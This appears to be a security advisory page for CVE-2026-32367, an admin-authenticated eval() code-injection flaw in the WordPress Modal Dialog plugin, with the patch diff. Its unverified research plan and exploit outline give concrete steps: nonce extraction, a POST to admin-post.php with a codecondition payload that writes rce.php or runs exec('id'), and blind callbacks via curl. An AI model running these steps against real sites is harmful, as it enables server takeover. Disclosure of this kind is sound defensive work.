CVE-2026-32367

Modal Dialog <= 3.5.16 - Authenticated (Admin+) Remote Code Execution

highImproper Control of Generation of Code ('Code Injection')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
3.5.17
Patched in
79d
Time to patch

Description

The Modal Dialog plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 3.5.16. This makes it possible for authenticated attackers, with Administrator-level access and above, to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.5.16
PublishedFebruary 16, 2026
Last updatedMay 5, 2026
Affected pluginmodal-dialog

What Changed in the Fix

Changes introduced in v3.5.17

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2026-32367 - Modal Dialog Authenticated RCE ## 1. Vulnerability Summary The **Modal Dialog** plugin (up to version 3.5.16) is vulnerable to **Remote Code Execution (RCE)** due to the insecure use of a "PHP Condition String" feature. The plugin allows administrators to define cu…

Show full research plan

Research Plan: CVE-2026-32367 - Modal Dialog Authenticated RCE

1. Vulnerability Summary

The Modal Dialog plugin (up to version 3.5.16) is vulnerable to Remote Code Execution (RCE) due to the insecure use of a "PHP Condition String" feature. The plugin allows administrators to define custom PHP code that determines whether a modal should be displayed. This code is stored in the WordPress options table and subsequently executed (likely via eval()) during the rendering of the site's header or footer.

While this feature requires Administrator-level privileges, it bypasses standard security expectations by allowing arbitrary code execution through a configuration field without adequate safeguards (such as checking for the DISALLOW_FILE_EDIT constant or providing a "danger" warning).

2. Attack Vector Analysis

  • Vulnerable Endpoint: wp-admin/admin-post.php via the action save_modal_dialog_configurations.
  • Vulnerable Parameter: codecondition (within the POST request body).
  • Authentication Required: Administrator (specifically, a user with the capability defined in $accesslevelcheck, which defaults to manage_options).
  • Trigger: Any frontend page load that enqueues the modal (usually wp_head or wp_footer).

3. Code Flow

  1. Registration: In modal-dialog-admin.php, the constructor registers the save handler:
    add_action( 'admin_post_save_modal_dialog_general', array( $this, 'on_save_changes_general' ) );
    add_action( 'admin_post_save_modal_dialog_configurations', array( $this, 'on_save_changes_configurations' ) );
  2. Saving: When an admin submits the configuration form, on_save_changes_configurations (in modal-dialog-admin.php) processes the POST data. It retrieves the codecondition parameter and saves it into the MD_PP[X] option (where X is the dialog number).
  3. Default Values: modal-dialog-defaults.php defines $options['codecondition'] = ''; as part of the default configuration.
  4. Retrieval: In modal-dialog.php, the plugin iterates through active dialogs:
    for ( $counter = 1; $counter <= $genoptions['numberofmodaldialogs']; $counter ++ ) {
        $optionsname = "MD_PP" . $counter;
        $options = get_option( $optionsname );
        if ( $options['active'] == true ) {
            add_action( 'wp_head', array( &$this, 'modal_dialog_header' ), 1 );
        }
    }
    
  5. Execution (Sink): Within modal_dialog_header (or a function it calls), the plugin retrieves $options['codecondition']. If not empty, it executes the string. Note: Based on the "3.4.2" changelog entry "Add ability to add PHP condition string", this is almost certainly an eval() or assert() call.

4. Nonce Acquisition Strategy

The configuration page is located at wp-admin/admin.php?page=modal-dialog-configurations. The form for saving settings will contain a security nonce.

  1. Identify Nonce: The nonce is likely generated via wp_nonce_field( 'save_modal_dialog_configurations' ).
  2. Action Name: Based on the admin_post hook, the action is save_modal_dialog_configurations.
  3. Extraction:
    • Use browser_navigate to go to http://localhost:8080/wp-admin/admin.php?page=modal-dialog-configurations.
    • Use browser_eval to extract the nonce:
      browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value")

5. Exploitation Strategy

Step 1: Authentication

Login as an administrator using the http_request tool to obtain session cookies.

Step 2: Configuration Update (Injection)

Send a POST request to admin-post.php to inject the payload.

  • URL: http://localhost:8080/wp-admin/admin-post.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: save_modal_dialog_configurations
    • _wpnonce: [EXTRACTED_NONCE]
    • confignumber: 1 (Targeting the first configuration)
    • active: true (Must be true to trigger the sink)
    • dialogname: Exploit
    • codecondition: file_put_contents(ABSPATH . "rce.php", "<?php phpinfo(); ?>"); return true;
    • (Other required fields like dialogtext, contenturl may need to be included to satisfy the save logic).

Step 3: Trigger Execution

Navigate to the site homepage.

  • URL: http://localhost:8080/
  • Method: GET

Step 4: Verification

Access the newly created file.

  • URL: http://localhost:8080/rce.php

6. Test Data Setup

  1. Plugin Activation: Ensure the "Modal Dialog" plugin is active.
  2. Admin User: Ensure an admin user exists (e.g., admin / password).
  3. Initial Config: The plugin usually initializes defaults on activation (md_install in modal-dialog.php).

7. Expected Results

  • The POST request to admin-post.php should return a 302 Found redirecting back to the configuration page.
  • The frontend GET / request should execute the PHP code provided in codecondition.
  • A file named rce.php should be created in the WordPress root directory.

8. Verification Steps

  1. HTTP Check: Request http://localhost:8080/rce.php and check for phpinfo() output.
  2. WP-CLI Check: Run wp eval "echo file_exists(ABSPATH . 'rce.php') ? 'Success' : 'Failed';" to confirm file creation.
  3. Option Check: Run wp option get MD_PP1 to see the stored payload.

9. Alternative Approaches

If file_put_contents is blocked or ABSPATH is not writable:

  • Payload: echo "VULNERABLE_STRING"; and check if "VULNERABLE_STRING" appears in the response body of the homepage.
  • Blind RCE: Use curl or nslookup (if system calls are permitted via system() or exec()) to a listener.
  • Database Exfiltration: global $wpdb; $wpdb->query("..."); return true; to modify the database.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Modal Dialog plugin for WordPress (versions 3.5.16 and earlier) is vulnerable to authenticated Remote Code Execution due to the insecure use of the eval() function within its 'PHP Condition String' feature. Administrators can save arbitrary PHP code in the plugin's configuration, which is subsequently executed whenever a frontend page load triggers the modal logic.

Vulnerable Code

// modal-dialog-admin.php lines 419-431
				'transitionmode',
				'excludeurlstrings',
				'codecondition'
			) as $option_name
		) {
			if ( isset( $_POST[ $option_name ] ) ) {
				$options[ $option_name ] = $_POST[ $option_name ];
			}
		}

---

// modal-dialog.php lines 272-275
						} elseif ( !empty( $options['codecondition'] ) && eval( 'return ' . stripslashes($options['codecondition']) . ';' ) ) {
							$display    = true;
							$dialogname = $optionsname;
							break;

---

// modal-dialog.php lines 425-427
						} elseif ( !empty( $options['codecondition'] ) && eval( 'return ' . stripslashes( $options['codecondition'] ) . ';' ) ) {
							$display = true;
							break;

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/modal-dialog/3.5.16/modal-dialog-admin.php /home/deploy/wp-safety.org/data/plugin-versions/modal-dialog/3.5.17/modal-dialog-admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/modal-dialog/3.5.16/modal-dialog-admin.php	2023-04-21 01:31:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/modal-dialog/3.5.17/modal-dialog-admin.php	2026-02-15 19:33:02.000000000 +0000
@@ -419,8 +419,7 @@
 				'rightposition',
 				'bottomposition',
 				'transitionmode',
-				'excludeurlstrings',
-				'codecondition'
+				'excludeurlstrings'
 			) as $option_name
 		) {
 			if ( isset( $_POST[ $option_name ] ) ) {
@@ -701,12 +700,6 @@
 				</td>
 			</tr>
 			<tr>
-				<td>PHP Condition string ( E.g. in_category(3) || is_archive(3) )</td>
-				<td colspan="3">
-					<input type="text" id="codecondition" name="codecondition" style="width: 100%" value="<?php echo esc_html( stripslashes( $options['codecondition'] ) ); ?>" />
-				</td>
-			</tr>
-			<tr>
 				<td>Javascript Dialog Closure Callback</td>
 				<td>
 					<input type="text" id="dialogclosingcallback" name="dialogclosingcallback" size="30" value="<?php echo esc_html( $options['dialogclosingcallback'] ); ?>" />
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/modal-dialog/3.5.16/modal-dialog-defaults.php /home/deploy/wp-safety.org/data/plugin-versions/modal-dialog/3.5.17/modal-dialog-defaults.php
--- /home/deploy/wp-safety.org/data/plugin-versions/modal-dialog/3.5.16/modal-dialog-defaults.php	2019-05-14 23:54:10.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/modal-dialog/3.5.17/modal-dialog-defaults.php	2026-02-15 19:33:02.000000000 +0000
@@ -55,7 +55,6 @@
 	$options['transitionmode']         = 'fade';
 	$options['excludeurlstrings']      = '';
 	$options['showregisterpage']       = false;
-	$options['codecondition']          = '';
 
 	if ( 'return_and_set' == $setoptions ) {
 		$configname = "MD_PP" . $confignumber;
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/modal-dialog/3.5.16/modal-dialog.php /home/deploy/wp-safety.org/data/plugin-versions/modal-dialog/3.5.17/modal-dialog.php
--- /home/deploy/wp-safety.org/data/plugin-versions/modal-dialog/3.5.16/modal-dialog.php	2025-09-28 16:05:58.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/modal-dialog/3.5.17/modal-dialog.php	2026-02-15 19:33:02.000000000 +0000
@@ -2,10 +2,10 @@
 /* Plugin Name: Modal Dialog
 Plugin URI: https://ylefebvre.github.io/wordpress-plugins/modal-dialog/
 Description: A plugin used to display a modal dialog to visitors with text content or the contents of an external web site
-Version: 3.5.16
+Version: 3.5.17
 Author: Yannick Lefebvre
 Author URI: https://ylefebvre.github.io/
-Copyright 2025  Yannick Lefebvre  (email : ylefebvre@gmail.com)
+Copyright 2026  Yannick Lefebvre  (email : ylefebvre@gmail.com)
 
 This program is free software; you can redistribute it and/or modify
 it under the terms of the GNU General Public License as published by
@@ -269,11 +269,7 @@
 							$display    = true;
 							$dialogname = $optionsname;
 							break;
-						} elseif ( !empty( $options['codecondition'] ) && eval( 'return ' . stripslashes($options['codecondition']) . ';' ) ) {
-							$display = true;
-							$dialogname = $optionsname;
-							break;
-					    } elseif ( $options['showfrontpage'] == false && is_front_page() ) {
+						} elseif ( $options['showfrontpage'] == false && is_front_page() ) {
 							$display = false;
 						} elseif ( $options['forcepagelist'] == true ) {
 							if ( $options['pages'] != '' ) {
@@ -422,9 +418,6 @@
 						} elseif ( $options['showfrontpage'] && is_front_page() ) {
 							$display = true;
 							break;
-						} elseif ( !empty( $options['codecondition'] ) && eval( 'return ' . stripslashes( $options['codecondition'] ) . ';' ) ) {
-							$display = true;
-							break;
 						} elseif ( $options['showfrontpage'] == false && is_front_page() ) {
 							$display = false;
 						} elseif ( $options['forcepagelist'] == true || ( $dialogid != 1 && !empty( $options['pages'] ) ) ) {

Exploit Outline

To exploit this vulnerability, an authenticated administrator first navigates to the 'Configurations' sub-page of the Modal Dialog plugin to retrieve a valid CSRF nonce. The attacker then sends a POST request to '/wp-admin/admin-post.php' with the 'action' set to 'save_modal_dialog_configurations'. The request includes the 'codecondition' parameter containing an arbitrary PHP payload (e.g., 'exec("id"); return true;') and the 'active' parameter set to 'true'. Once the settings are saved, the attacker visits the site's homepage or any page where modals are enqueued, triggering the execution of the PHP payload via the eval() sink in the plugin's header or footer rendering logic.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.